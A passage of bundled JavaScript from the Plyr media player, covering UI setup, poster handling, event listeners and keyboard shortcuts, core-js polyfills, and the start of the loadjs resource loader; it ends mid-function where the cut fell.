if (is$1.function(document["".concat(pre, "ExitFullscreen")]) || is$1.function(document["".concat(pre, "CancelFullScreen")])) {
value = pre;
return true;
}
return false;
});
return value;
}
}, {
key: "property",
get: function get() {
return this.prefix === 'moz' ? 'FullScreen' : 'Fullscreen';
}
}]);
return Fullscreen;
}();
// `Math.sign` method implementation
// https://tc39.github.io/ecma262/#sec-math.sign
var mathSign = Math.sign || function sign(x) {
// eslint-disable-next-line no-self-compare
return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1;
};
// `Math.sign` method
// https://tc39.github.io/ecma262/#sec-math.sign
_export({ target: 'Math', stat: true }, {
sign: mathSign
});
// ==========================================================================
// Load image avoiding xhr/fetch CORS issues
// Server status can't be obtained this way unfortunately, so this uses "naturalWidth" to determine if the image has loaded
// By default it checks if it is at least 1px, but you can add a second argument to change this
// ==========================================================================
function loadImage(src) {
var minWidth = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1;
return new Promise(function (resolve, reject) {
var image = new Image();
var handler = function handler() {
delete image.onload;
delete image.onerror;
(image.naturalWidth >= minWidth ? resolve : reject)(image);
};
Object.assign(image, {
onload: handler,
onerror: handler,
src: src
});
});
}
var ui = {
addStyleHook: function addStyleHook() {
toggleClass(this.elements.container, this.config.selectors.container.replace('.', ''), true);
toggleClass(this.elements.container, this.config.classNames.uiSupported, this.supported.ui);
},
// Toggle native HTML5 media controls
toggleNativeControls: function toggleNativeControls() {
var toggle = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
if (toggle && this.isHTML5) {
this.media.setAttribute('controls', '');
} else {
this.media.removeAttribute('controls');
}
},
// Setup the UI
build: function build() {
var _this = this;
// Re-attach media element listeners
// TODO: Use event bubbling?
this.listeners.media(); // Don't setup interface if no support
if (!this.supported.ui) {
this.debug.warn("Basic support only for ".concat(this.provider, " ").concat(this.type)); // Restore native controls
ui.toggleNativeControls.call(this, true); // Bail
return;
} // Inject custom controls if not present
if (!is$1.element(this.elements.controls)) {
// Inject custom controls
controls.inject.call(this); // Re-attach control listeners
this.listeners.controls();
} // Remove native controls
ui.toggleNativeControls.call(this); // Setup captions for HTML5
if (this.isHTML5) {
captions.setup.call(this);
} // Reset volume
this.volume = null; // Reset mute state
this.muted = null; // Reset loop state
this.loop = null; // Reset quality setting
this.quality = null; // Reset speed
this.speed = null; // Reset volume display
controls.updateVolume.call(this); // Reset time display
controls.timeUpdate.call(this); // Update the UI
ui.checkPlaying.call(this); // Check for picture-in-picture support
toggleClass(this.elements.container, this.config.classNames.pip.supported, support.pip && this.isHTML5 && this.isVideo); // Check for airplay support
toggleClass(this.elements.container, this.config.classNames.airplay.supported, support.airplay && this.isHTML5); // Add iOS class
toggleClass(this.elements.container, this.config.classNames.isIos, browser.isIos); // Add touch class
toggleClass(this.elements.container, this.config.classNames.isTouch, this.touch); // Ready for API calls
this.ready = true; // Ready event at end of execution stack
setTimeout(function () {
triggerEvent.call(_this, _this.media, 'ready');
}, 0); // Set the title
ui.setTitle.call(this); // Assure the poster image is set, if the property was added before the element was created
if (this.poster) {
ui.setPoster.call(this, this.poster, false).catch(function () {});
} // Manually set the duration if user has overridden it.
// The event listeners for it doesn't get called if preload is disabled (#701)
if (this.config.duration) {
controls.durationUpdate.call(this);
}
},
// Setup aria attribute for play and iframe title
setTitle: function setTitle() {
// Find the current text
var label = i18n.get('play', this.config); // If there's a media title set, use that for the label
if (is$1.string(this.config.title) && !is$1.empty(this.config.title)) {
label += ", ".concat(this.config.title);
} // If there's a play button, set label
Array.from(this.elements.buttons.play || []).forEach(function (button) {
button.setAttribute('aria-label', label);
}); // Set iframe title
// https://github.com/sampotts/plyr/issues/124
if (this.isEmbed) {
var iframe = getElement.call(this, 'iframe');
if (!is$1.element(iframe)) {
return;
} // Default to media type
var title = !is$1.empty(this.config.title) ? this.config.title : 'video';
var format = i18n.get('frameTitle', this.config);
iframe.setAttribute('title', format.replace('{title}', title));
}
},
// Toggle poster
togglePoster: function togglePoster(enable) {
toggleClass(this.elements.container, this.config.classNames.posterEnabled, enable);
},
// Set the poster image (async)
// Used internally for the poster setter, with the passive option forced to false
setPoster: function setPoster(poster) {
var _this2 = this;
var passive = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true;
// Don't override if call is passive
if (passive && this.poster) {
return Promise.reject(new Error('Poster already set'));
} // Set property synchronously to respect the call order
this.media.setAttribute('data-poster', poster); // Show the poster
this.elements.poster.removeAttribute('hidden'); // Wait until ui is ready
return ready.call(this) // Load image
.then(function () {
return loadImage(poster);
}).catch(function (err) {
// Hide poster on error unless it's been set by another call
if (poster === _this2.poster) {
ui.togglePoster.call(_this2, false);
} // Rethrow
throw err;
}).then(function () {
// Prevent race conditions
if (poster !== _this2.poster) {
throw new Error('setPoster cancelled by later call to setPoster');
}
}).then(function () {
Object.assign(_this2.elements.poster.style, {
backgroundImage: "url('".concat(poster, "')"),
// Reset backgroundSize as well (since it can be set to "cover" for padded thumbnails for youtube)
backgroundSize: ''
});
ui.togglePoster.call(_this2, true);
return poster;
});
},
// Check playing state
checkPlaying: function checkPlaying(event) {
var _this3 = this;
// Class hooks
toggleClass(this.elements.container, this.config.classNames.playing, this.playing);
toggleClass(this.elements.container, this.config.classNames.paused, this.paused);
toggleClass(this.elements.container, this.config.classNames.stopped, this.stopped); // Set state
Array.from(this.elements.buttons.play || []).forEach(function (target) {
Object.assign(target, {
pressed: _this3.playing
});
target.setAttribute('aria-label', i18n.get(_this3.playing ? 'pause' : 'play', _this3.config));
}); // Only update controls on non timeupdate events
if (is$1.event(event) && event.type === 'timeupdate') {
return;
} // Toggle controls
ui.toggleControls.call(this);
},
// Check if media is loading
checkLoading: function checkLoading(event) {
var _this4 = this;
this.loading = ['stalled', 'waiting'].includes(event.type); // Clear timer
clearTimeout(this.timers.loading); // Timer to prevent flicker when seeking
this.timers.loading = setTimeout(function () {
// Update progress bar loading class state
toggleClass(_this4.elements.container, _this4.config.classNames.loading, _this4.loading); // Update controls visibility
ui.toggleControls.call(_this4);
}, this.loading ? 250 : 0);
},
// Toggle controls based on state and `force` argument
toggleControls: function toggleControls(force) {
var controlsElement = this.elements.controls;
if (controlsElement && this.config.hideControls) {
// Don't hide controls if a touch-device user recently seeked. (Must be limited to touch devices, or it occasionally prevents desktop controls from hiding.)
var recentTouchSeek = this.touch && this.lastSeekTime + 2000 > Date.now(); // Show controls if force, loading, paused, button interaction, or recent seek, otherwise hide
this.toggleControls(Boolean(force || this.loading || this.paused || controlsElement.pressed || controlsElement.hover || recentTouchSeek));
}
},
// Migrate any custom properties from the media to the parent
migrateStyles: function migrateStyles() {
var _this5 = this;
// Loop through values (as they are the keys when the object is spread 🤔)
Object.values(_objectSpread2({}, this.media.style)) // We're only fussed about Plyr specific properties
.filter(function (key) {
return !is$1.empty(key) && is$1.string(key) && key.startsWith('--plyr');
}).forEach(function (key) {
// Set on the container
_this5.elements.container.style.setProperty(key, _this5.media.style.getPropertyValue(key)); // Clean up from media element
_this5.media.style.removeProperty(key);
}); // Remove attribute if empty
if (is$1.empty(this.media.style)) {
this.media.removeAttribute('style');
}
}
};
var Listeners = /*#__PURE__*/function () {
function Listeners(_player) {
var _this = this;
_classCallCheck(this, Listeners);
_defineProperty(this, "firstTouch", function () {
var player = _this.player;
var elements = player.elements;
player.touch = true; // Add touch class
toggleClass(elements.container, player.config.classNames.isTouch, true);
});
_defineProperty(this, "setTabFocus", function (event) {
var player = _this.player;
var elements = player.elements;
clearTimeout(_this.focusTimer); // Ignore any key other than tab
if (event.type === 'keydown' && event.which !== 9) {
return;
} // Store reference to event timeStamp
if (event.type === 'keydown') {
_this.lastKeyDown = event.timeStamp;
} // Remove current classes
var removeCurrent = function removeCurrent() {
var className = player.config.classNames.tabFocus;
var current = getElements.call(player, ".".concat(className));
toggleClass(current, className, false);
}; // Determine if a key was pressed to trigger this event
var wasKeyDown = event.timeStamp - _this.lastKeyDown <= 20; // Ignore focus events if a key was pressed prior
if (event.type === 'focus' && !wasKeyDown) {
return;
} // Remove all current
removeCurrent(); // Delay the adding of classname until the focus has changed
// This event fires before the focusin event
if (event.type !== 'focusout') {
_this.focusTimer = setTimeout(function () {
var focused = document.activeElement; // Ignore if current focus element isn't inside the player
if (!elements.container.contains(focused)) {
return;
}
toggleClass(document.activeElement, player.config.classNames.tabFocus, true);
}, 10);
}
});
_defineProperty(this, "global", function () {
var toggle = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;
var player = _this.player; // Keyboard shortcuts
if (player.config.keyboard.global) {
toggleListener.call(player, window, 'keydown keyup', _this.handleKey, toggle, false);
} // Click anywhere closes menu
toggleListener.call(player, document.body, 'click', _this.toggleMenu, toggle); // Detect touch by events
once.call(player, document.body, 'touchstart', _this.firstTouch); // Tab focus detection
toggleListener.call(player, document.body, 'keydown focus blur focusout', _this.setTabFocus, toggle, false, true);
});
_defineProperty(this, "container", function () {
var player = _this.player;
var config = player.config,
elements = player.elements,
timers = player.timers; // Keyboard shortcuts
if (!config.keyboard.global && config.keyboard.focused) {
on.call(player, elements.container, 'keydown keyup', _this.handleKey, false);
} // Toggle controls on mouse events and entering fullscreen
on.call(player, elements.container, 'mousemove mouseleave touchstart touchmove enterfullscreen exitfullscreen', function (event) {
var controlsElement = elements.controls; // Remove button states for fullscreen
if (controlsElement && event.type === 'enterfullscreen') {
controlsElement.pressed = false;
controlsElement.hover = false;
} // Show, then hide after a timeout unless another control event occurs
var show = ['touchstart', 'touchmove', 'mousemove'].includes(event.type);
var delay = 0;
if (show) {
ui.toggleControls.call(player, true); // Use longer timeout for touch devices
delay = player.touch ? 3000 : 2000;
} // Clear timer
clearTimeout(timers.controls); // Set new timer to prevent flicker when seeking
timers.controls = setTimeout(function () {
return ui.toggleControls.call(player, false);
}, delay);
}); // Set a gutter for Vimeo
var setGutter = function setGutter(ratio, padding, toggle) {
if (!player.isVimeo || player.config.vimeo.premium) {
return;
}
var target = player.elements.wrapper.firstChild;
var _ratio = _slicedToArray(ratio, 2),
y = _ratio[1];
var _getAspectRatio$call = getAspectRatio.call(player),
_getAspectRatio$call2 = _slicedToArray(_getAspectRatio$call, 2),
videoX = _getAspectRatio$call2[0],
videoY = _getAspectRatio$call2[1];
target.style.maxWidth = toggle ? "".concat(y / videoY * videoX, "px") : null;
target.style.margin = toggle ? '0 auto' : null;
}; // Resize on fullscreen change
var setPlayerSize = function setPlayerSize(measure) {
// If we don't need to measure the viewport
if (!measure) {
return setAspectRatio.call(player);
}
var rect = elements.container.getBoundingClientRect();
var width = rect.width,
height = rect.height;
return setAspectRatio.call(player, "".concat(width, ":").concat(height));
};
var resized = function resized() {
clearTimeout(timers.resized);
timers.resized = setTimeout(setPlayerSize, 50);
};
on.call(player, elements.container, 'enterfullscreen exitfullscreen', function (event) {
var _player$fullscreen = player.fullscreen,
target = _player$fullscreen.target,
usingNative = _player$fullscreen.usingNative; // Ignore events not from target
if (target !== elements.container) {
return;
} // If it's not an embed and no ratio specified
if (!player.isEmbed && is$1.empty(player.config.ratio)) {
return;
}
var isEnter = event.type === 'enterfullscreen'; // Set the player size when entering fullscreen to viewport size
var _setPlayerSize = setPlayerSize(isEnter),
padding = _setPlayerSize.padding,
ratio = _setPlayerSize.ratio; // Set Vimeo gutter
setGutter(ratio, padding, isEnter); // Horrible hack for Safari 14 not repainting properly on entering fullscreen
if (isEnter) {
setTimeout(function () {
return repaint(elements.container);
}, 100);
} // If not using native browser fullscreen API, we need to check for resizes of viewport
if (!usingNative) {
if (isEnter) {
on.call(player, window, 'resize', resized);
} else {
off.call(player, window, 'resize', resized);
}
}
});
});
_defineProperty(this, "media", function () {
var player = _this.player;
var elements = player.elements; // Time change on media
on.call(player, player.media, 'timeupdate seeking seeked', function (event) {
return controls.timeUpdate.call(player, event);
}); // Display duration
on.call(player, player.media, 'durationchange loadeddata loadedmetadata', function (event) {
return controls.durationUpdate.call(player, event);
}); // Handle the media finishing
on.call(player, player.media, 'ended', function () {
// Show poster on end
if (player.isHTML5 && player.isVideo && player.config.resetOnEnd) {
// Restart
player.restart(); // Call pause otherwise IE11 will start playing the video again
player.pause();
}
}); // Check for buffer progress
on.call(player, player.media, 'progress playing seeking seeked', function (event) {
return controls.updateProgress.call(player, event);
}); // Handle volume changes
on.call(player, player.media, 'volumechange', function (event) {
return controls.updateVolume.call(player, event);
}); // Handle play/pause
on.call(player, player.media, 'playing play pause ended emptied timeupdate', function (event) {
return ui.checkPlaying.call(player, event);
}); // Loading state
on.call(player, player.media, 'waiting canplay seeked playing', function (event) {
return ui.checkLoading.call(player, event);
}); // Click video
if (player.supported.ui && player.config.clickToPlay && !player.isAudio) {
// Re-fetch the wrapper
var wrapper = getElement.call(player, ".".concat(player.config.classNames.video)); // Bail if there's no wrapper (this should never happen)
if (!is$1.element(wrapper)) {
return;
} // On click play, pause or restart
on.call(player, elements.container, 'click', function (event) {
var targets = [elements.container, wrapper]; // Ignore if click if not container or in video wrapper
if (!targets.includes(event.target) && !wrapper.contains(event.target)) {
return;
} // Touch devices will just show controls (if hidden)
if (player.touch && player.config.hideControls) {
return;
}
if (player.ended) {
_this.proxy(event, player.restart, 'restart');
_this.proxy(event, function () {
silencePromise(player.play());
}, 'play');
} else {
_this.proxy(event, function () {
silencePromise(player.togglePlay());
}, 'play');
}
});
} // Disable right click
if (player.supported.ui && player.config.disableContextMenu) {
on.call(player, elements.wrapper, 'contextmenu', function (event) {
event.preventDefault();
}, false);
} // Volume change
on.call(player, player.media, 'volumechange', function () {
// Save to storage
player.storage.set({
volume: player.volume,
muted: player.muted
});
}); // Speed change
on.call(player, player.media, 'ratechange', function () {
// Update UI
controls.updateSetting.call(player, 'speed'); // Save to storage
player.storage.set({
speed: player.speed
});
}); // Quality change
on.call(player, player.media, 'qualitychange', function (event) {
// Update UI
controls.updateSetting.call(player, 'quality', null, event.detail.quality);
}); // Update download link when ready and if quality changes
on.call(player, player.media, 'ready qualitychange', function () {
controls.setDownloadUrl.call(player);
}); // Proxy events to container
// Bubble up key events for Edge
var proxyEvents = player.config.events.concat(['keyup', 'keydown']).join(' ');
on.call(player, player.media, proxyEvents, function (event) {
var _event$detail = event.detail,
detail = _event$detail === void 0 ? {} : _event$detail; // Get error details from media
if (event.type === 'error') {
detail = player.media.error;
}
triggerEvent.call(player, elements.container, event.type, true, detail);
});
});
_defineProperty(this, "proxy", function (event, defaultHandler, customHandlerKey) {
var player = _this.player;
var customHandler = player.config.listeners[customHandlerKey];
var hasCustomHandler = is$1.function(customHandler);
var returned = true; // Execute custom handler
if (hasCustomHandler) {
returned = customHandler.call(player, event);
} // Only call default handler if not prevented in custom handler
if (returned !== false && is$1.function(defaultHandler)) {
defaultHandler.call(player, event);
}
});
_defineProperty(this, "bind", function (element, type, defaultHandler, customHandlerKey) {
var passive = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : true;
var player = _this.player;
var customHandler = player.config.listeners[customHandlerKey];
var hasCustomHandler = is$1.function(customHandler);
on.call(player, element, type, function (event) {
return _this.proxy(event, defaultHandler, customHandlerKey);
}, passive && !hasCustomHandler);
});
_defineProperty(this, "controls", function () {
var player = _this.player;
var elements = player.elements; // IE doesn't support input event, so we fallback to change
var inputEvent = browser.isIE ? 'change' : 'input'; // Play/pause toggle
if (elements.buttons.play) {
Array.from(elements.buttons.play).forEach(function (button) {
_this.bind(button, 'click', function () {
silencePromise(player.togglePlay());
}, 'play');
});
} // Pause
_this.bind(elements.buttons.restart, 'click', player.restart, 'restart'); // Rewind
_this.bind(elements.buttons.rewind, 'click', function () {
// Record seek time so we can prevent hiding controls for a few seconds after rewind
player.lastSeekTime = Date.now();
player.rewind();
}, 'rewind'); // Rewind
_this.bind(elements.buttons.fastForward, 'click', function () {
// Record seek time so we can prevent hiding controls for a few seconds after fast forward
player.lastSeekTime = Date.now();
player.forward();
}, 'fastForward'); // Mute toggle
_this.bind(elements.buttons.mute, 'click', function () {
player.muted = !player.muted;
}, 'mute'); // Captions toggle
_this.bind(elements.buttons.captions, 'click', function () {
return player.toggleCaptions();
}); // Download
_this.bind(elements.buttons.download, 'click', function () {
triggerEvent.call(player, player.media, 'download');
}, 'download'); // Fullscreen toggle
_this.bind(elements.buttons.fullscreen, 'click', function () {
player.fullscreen.toggle();
}, 'fullscreen'); // Picture-in-Picture
_this.bind(elements.buttons.pip, 'click', function () {
player.pip = 'toggle';
}, 'pip'); // Airplay
_this.bind(elements.buttons.airplay, 'click', player.airplay, 'airplay'); // Settings menu - click toggle
_this.bind(elements.buttons.settings, 'click', function (event) {
// Prevent the document click listener closing the menu
event.stopPropagation();
event.preventDefault();
controls.toggleMenu.call(player, event);
}, null, false); // Can't be passive as we're preventing default
// Settings menu - keyboard toggle
// We have to bind to keyup otherwise Firefox triggers a click when a keydown event handler shifts focus
// https://bugzilla.mozilla.org/show_bug.cgi?id=1220143
_this.bind(elements.buttons.settings, 'keyup', function (event) {
var code = event.which; // We only care about space and return
if (![13, 32].includes(code)) {
return;
} // Because return triggers a click anyway, all we need to do is set focus
if (code === 13) {
controls.focusFirstMenuItem.call(player, null, true);
return;
} // Prevent scroll
event.preventDefault(); // Prevent playing video (Firefox)
event.stopPropagation(); // Toggle menu
controls.toggleMenu.call(player, event);
}, null, false // Can't be passive as we're preventing default
); // Escape closes menu
_this.bind(elements.settings.menu, 'keydown', function (event) {
if (event.which === 27) {
controls.toggleMenu.call(player, event);
}
}); // Set range input alternative "value", which matches the tooltip time (#954)
_this.bind(elements.inputs.seek, 'mousedown mousemove', function (event) {
var rect = elements.progress.getBoundingClientRect();
var percent = 100 / rect.width * (event.pageX - rect.left);
event.currentTarget.setAttribute('seek-value', percent);
}); // Pause while seeking
_this.bind(elements.inputs.seek, 'mousedown mouseup keydown keyup touchstart touchend', function (event) {
var seek = event.currentTarget;
var code = event.keyCode ? event.keyCode : event.which;
var attribute = 'play-on-seeked';
if (is$1.keyboardEvent(event) && code !== 39 && code !== 37) {
return;
} // Record seek time so we can prevent hiding controls for a few seconds after seek
player.lastSeekTime = Date.now(); // Was playing before?
var play = seek.hasAttribute(attribute); // Done seeking
var done = ['mouseup', 'touchend', 'keyup'].includes(event.type); // If we're done seeking and it was playing, resume playback
if (play && done) {
seek.removeAttribute(attribute);
silencePromise(player.play());
} else if (!done && player.playing) {
seek.setAttribute(attribute, '');
player.pause();
}
}); // Fix range inputs on iOS
// Super weird iOS bug where after you interact with an <input type="range">,
// it takes over further interactions on the page. This is a hack
if (browser.isIos) {
var inputs = getElements.call(player, 'input[type="range"]');
Array.from(inputs).forEach(function (input) {
return _this.bind(input, inputEvent, function (event) {
return repaint(event.target);
});
});
} // Seek
_this.bind(elements.inputs.seek, inputEvent, function (event) {
var seek = event.currentTarget; // If it exists, use seek-value instead of "value" for consistency with tooltip time (#954)
var seekTo = seek.getAttribute('seek-value');
if (is$1.empty(seekTo)) {
seekTo = seek.value;
}
seek.removeAttribute('seek-value');
player.currentTime = seekTo / seek.max * player.duration;
}, 'seek'); // Seek tooltip
_this.bind(elements.progress, 'mouseenter mouseleave mousemove', function (event) {
return controls.updateSeekTooltip.call(player, event);
}); // Preview thumbnails plugin
// TODO: Really need to work on some sort of plug-in wide event bus or pub-sub for this
_this.bind(elements.progress, 'mousemove touchmove', function (event) {
var previewThumbnails = player.previewThumbnails;
if (previewThumbnails && previewThumbnails.loaded) {
previewThumbnails.startMove(event);
}
}); // Hide thumbnail preview - on mouse click, mouse leave, and video play/seek. All four are required, e.g., for buffering
_this.bind(elements.progress, 'mouseleave touchend click', function () {
var previewThumbnails = player.previewThumbnails;
if (previewThumbnails && previewThumbnails.loaded) {
previewThumbnails.endMove(false, true);
}
}); // Show scrubbing preview
_this.bind(elements.progress, 'mousedown touchstart', function (event) {
var previewThumbnails = player.previewThumbnails;
if (previewThumbnails && previewThumbnails.loaded) {
previewThumbnails.startScrubbing(event);
}
});
_this.bind(elements.progress, 'mouseup touchend', function (event) {
var previewThumbnails = player.previewThumbnails;
if (previewThumbnails && previewThumbnails.loaded) {
previewThumbnails.endScrubbing(event);
}
}); // Polyfill for lower fill in <input type="range"> for webkit
if (browser.isWebkit) {
Array.from(getElements.call(player, 'input[type="range"]')).forEach(function (element) {
_this.bind(element, 'input', function (event) {
return controls.updateRangeFill.call(player, event.target);
});
});
} // Current time invert
// Only if one time element is used for both currentTime and duration
if (player.config.toggleInvert && !is$1.element(elements.display.duration)) {
_this.bind(elements.display.currentTime, 'click', function () {
// Do nothing if we're at the start
if (player.currentTime === 0) {
return;
}
player.config.invertTime = !player.config.invertTime;
controls.timeUpdate.call(player);
});
} // Volume
_this.bind(elements.inputs.volume, inputEvent, function (event) {
player.volume = event.target.value;
}, 'volume'); // Update controls.hover state (used for ui.toggleControls to avoid hiding when interacting)
_this.bind(elements.controls, 'mouseenter mouseleave', function (event) {
elements.controls.hover = !player.touch && event.type === 'mouseenter';
}); // Also update controls.hover state for any non-player children of fullscreen element (as above)
if (elements.fullscreen) {
Array.from(elements.fullscreen.children).filter(function (c) {
return !c.contains(elements.container);
}).forEach(function (child) {
_this.bind(child, 'mouseenter mouseleave', function (event) {
elements.controls.hover = !player.touch && event.type === 'mouseenter';
});
});
} // Update controls.pressed state (used for ui.toggleControls to avoid hiding when interacting)
_this.bind(elements.controls, 'mousedown mouseup touchstart touchend touchcancel', function (event) {
elements.controls.pressed = ['mousedown', 'touchstart'].includes(event.type);
}); // Show controls when they receive focus (e.g., when using keyboard tab key)
_this.bind(elements.controls, 'focusin', function () {
var config = player.config,
timers = player.timers; // Skip transition to prevent focus from scrolling the parent element
toggleClass(elements.controls, config.classNames.noTransition, true); // Toggle
ui.toggleControls.call(player, true); // Restore transition
setTimeout(function () {
toggleClass(elements.controls, config.classNames.noTransition, false);
}, 0); // Delay a little more for mouse users
var delay = _this.touch ? 3000 : 4000; // Clear timer
clearTimeout(timers.controls); // Hide again after delay
timers.controls = setTimeout(function () {
return ui.toggleControls.call(player, false);
}, delay);
}); // Mouse wheel for volume
_this.bind(elements.inputs.volume, 'wheel', function (event) {
// Detect "natural" scroll - suppored on OS X Safari only
// Other browsers on OS X will be inverted until support improves
var inverted = event.webkitDirectionInvertedFromDevice; // Get delta from event. Invert if `inverted` is true
var _map = [event.deltaX, -event.deltaY].map(function (value) {
return inverted ? -value : value;
}),
_map2 = _slicedToArray(_map, 2),
x = _map2[0],
y = _map2[1]; // Using the biggest delta, normalize to 1 or -1 (or 0 if no delta)
var direction = Math.sign(Math.abs(x) > Math.abs(y) ? x : y); // Change the volume by 2%
player.increaseVolume(direction / 50); // Don't break page scrolling at max and min
var volume = player.media.volume;
if (direction === 1 && volume < 1 || direction === -1 && volume > 0) {
event.preventDefault();
}
}, 'volume', false);
});
this.player = _player;
this.lastKey = null;
this.focusTimer = null;
this.lastKeyDown = null;
this.handleKey = this.handleKey.bind(this);
this.toggleMenu = this.toggleMenu.bind(this);
this.setTabFocus = this.setTabFocus.bind(this);
this.firstTouch = this.firstTouch.bind(this);
} // Handle key presses
_createClass(Listeners, [{
key: "handleKey",
value: function handleKey(event) {
var player = this.player;
var elements = player.elements;
var code = event.keyCode ? event.keyCode : event.which;
var pressed = event.type === 'keydown';
var repeat = pressed && code === this.lastKey; // Bail if a modifier key is set
if (event.altKey || event.ctrlKey || event.metaKey || event.shiftKey) {
return;
} // If the event is bubbled from the media element
// Firefox doesn't get the keycode for whatever reason
if (!is$1.number(code)) {
return;
} // Seek by the number keys
var seekByKey = function seekByKey() {
// Divide the max duration into 10th's and times by the number value
player.currentTime = player.duration / 10 * (code - 48);
}; // Handle the key on keydown
// Reset on keyup
if (pressed) {
// Check focused element
// and if the focused element is not editable (e.g. text input)
// and any that accept key input http://webaim.org/techniques/keyboard/
var focused = document.activeElement;
if (is$1.element(focused)) {
var editable = player.config.selectors.editable;
var seek = elements.inputs.seek;
if (focused !== seek && matches$1(focused, editable)) {
return;
}
if (event.which === 32 && matches$1(focused, 'button, [role^="menuitem"]')) {
return;
}
} // Which keycodes should we prevent default
var preventDefault = [32, 37, 38, 39, 40, 48, 49, 50, 51, 52, 53, 54, 56, 57, 67, 70, 73, 75, 76, 77, 79]; // If the code is found prevent default (e.g. prevent scrolling for arrows)
if (preventDefault.includes(code)) {
event.preventDefault();
event.stopPropagation();
}
switch (code) {
case 48:
case 49:
case 50:
case 51:
case 52:
case 53:
case 54:
case 55:
case 56:
case 57:
// 0-9
if (!repeat) {
seekByKey();
}
break;
case 32:
case 75:
// Space and K key
if (!repeat) {
silencePromise(player.togglePlay());
}
break;
case 38:
// Arrow up
player.increaseVolume(0.1);
break;
case 40:
// Arrow down
player.decreaseVolume(0.1);
break;
case 77:
// M key
if (!repeat) {
player.muted = !player.muted;
}
break;
case 39:
// Arrow forward
player.forward();
break;
case 37:
// Arrow back
player.rewind();
break;
case 70:
// F key
player.fullscreen.toggle();
break;
case 67:
// C key
if (!repeat) {
player.toggleCaptions();
}
break;
case 76:
// L key
player.loop = !player.loop;
break;
} // Escape is handle natively when in full screen
// So we only need to worry about non native
if (code === 27 && !player.fullscreen.usingNative && player.fullscreen.active) {
player.fullscreen.toggle();
} // Store last code for next cycle
this.lastKey = code;
} else {
this.lastKey = null;
}
} // Toggle menu
}, {
key: "toggleMenu",
value: function toggleMenu(event) {
controls.toggleMenu.call(this.player, event);
} // Device is touch enabled
}]);
return Listeners;
}();
var HAS_SPECIES_SUPPORT$3 = arrayMethodHasSpeciesSupport('splice');
var USES_TO_LENGTH$a = arrayMethodUsesToLength('splice', { ACCESSORS: true, 0: 0, 1: 2 });
var max$3 = Math.max;
var min$5 = Math.min;
var MAX_SAFE_INTEGER$1 = 0x1FFFFFFFFFFFFF;
var MAXIMUM_ALLOWED_LENGTH_EXCEEDED = 'Maximum allowed length exceeded';
// `Array.prototype.splice` method
// https://tc39.github.io/ecma262/#sec-array.prototype.splice
// with adding support of @@species
_export({ target: 'Array', proto: true, forced: !HAS_SPECIES_SUPPORT$3 || !USES_TO_LENGTH$a }, {
splice: function splice(start, deleteCount /* , ...items */) {
var O = toObject(this);
var len = toLength(O.length);
var actualStart = toAbsoluteIndex(start, len);
var argumentsLength = arguments.length;
var insertCount, actualDeleteCount, A, k, from, to;
if (argumentsLength === 0) {
insertCount = actualDeleteCount = 0;
} else if (argumentsLength === 1) {
insertCount = 0;
actualDeleteCount = len - actualStart;
} else {
insertCount = argumentsLength - 2;
actualDeleteCount = min$5(max$3(toInteger(deleteCount), 0), len - actualStart);
}
if (len + insertCount - actualDeleteCount > MAX_SAFE_INTEGER$1) {
throw TypeError(MAXIMUM_ALLOWED_LENGTH_EXCEEDED);
}
A = arraySpeciesCreate(O, actualDeleteCount);
for (k = 0; k < actualDeleteCount; k++) {
from = actualStart + k;
if (from in O) createProperty(A, k, O[from]);
}
A.length = actualDeleteCount;
if (insertCount < actualDeleteCount) {
for (k = actualStart; k < len - actualDeleteCount; k++) {
from = k + actualDeleteCount;
to = k + insertCount;
if (from in O) O[to] = O[from];
else delete O[to];
}
for (k = len; k > len - actualDeleteCount + insertCount; k--) delete O[k - 1];
} else if (insertCount > actualDeleteCount) {
for (k = len - actualDeleteCount; k > actualStart; k--) {
from = k + actualDeleteCount - 1;
to = k + insertCount - 1;
if (from in O) O[to] = O[from];
else delete O[to];
}
}
for (k = 0; k < insertCount; k++) {
O[k + actualStart] = arguments[k + 2];
}
O.length = len - actualDeleteCount + insertCount;
return A;
}
});
var loadjs_umd = createCommonjsModule(function (module, exports) {
(function (root, factory) {
{
module.exports = factory();
}
})(commonjsGlobal, function () {
/**
* Global dependencies.
* @global {Object} document - DOM
*/
var devnull = function devnull() {},
bundleIdCache = {},
bundleResultCache = {},
bundleCallbackQueue = {};
/**
* Subscribe to bundle load event.
* @param {string[]} bundleIds - Bundle ids
* @param {Function} callbackFn - The callback function
*/
function subscribe(bundleIds, callbackFn) {
// listify
bundleIds = bundleIds.push ? bundleIds : [bundleIds];
var depsNotFound = [],
i = bundleIds.length,
numWaiting = i,
fn,
bundleId,
r,
q; // define callback function
fn = function fn(bundleId, pathsNotFound) {
if (pathsNotFound.length) depsNotFound.push(bundleId);
numWaiting--;
if (!numWaiting) callbackFn(depsNotFound);
}; // register callback
while (i--) {
bundleId = bundleIds[i]; // execute callback if in result cache
r = bundleResultCache[bundleId];
if (r) {
fn(bundleId, r);
continue;
} // add to callback queue
q = bundleCallbackQueue[bundleId] = bundleCallbackQueue[bundleId] || [];
q.push(fn);
}
}
/**
* Publish bundle load event.
* @param {string} bundleId - Bundle id
* @param {string[]} pathsNotFound - List of files not found
*/
function publish(bundleId, pathsNotFound) {
// exit if id isn't defined
if (!bundleId) return;
var q = bundleCallbackQueue[bundleId]; // cache result
bundleResultCache[bundleId] = pathsNotFound; // exit if queue is empty
if (!q) return; // empty callback queue
while (q.length) {
q[0](bundleId, pathsNotFound);
q.splice(0, 1);
}
}
/**
* Execute callbacks.
* @param {Object or Function} args - The callback args
* @param {string[]} depsNotFound - List of dependencies not found
*/
function executeCallbacks(args, depsNotFound) {
// accept function as argument
if (args.call) args = {
success: args
}; // success and error callbacks
if (depsNotFound.length) (args.error || devnull)(depsNotFound);else (args.success || devnull)(args);
}
/**
* Load individual file.
* @param {string} path - The file path
* @param {Function} callbackFn - The callback function
*/
function loadFile(path, callbackFn, args, numTries) {
var doc = document,
async = args.async,
maxTries = (args.numRetries || 0) + 1,
beforeCallbackFn = args.before || devnull,
pathname = path.replace(/[\?|#].*$/, ''),
pathStripped = path.replace(/^(css|img)!/, ''),
isLegacyIECss,
e;
numTries = numTries || 0;
if (/(^css!|\.css$)/.test(pathname)) {
// css
e = doc.createElement('link');
e.rel = 'stylesheet';
e.href = pathStripped; // tag IE9+
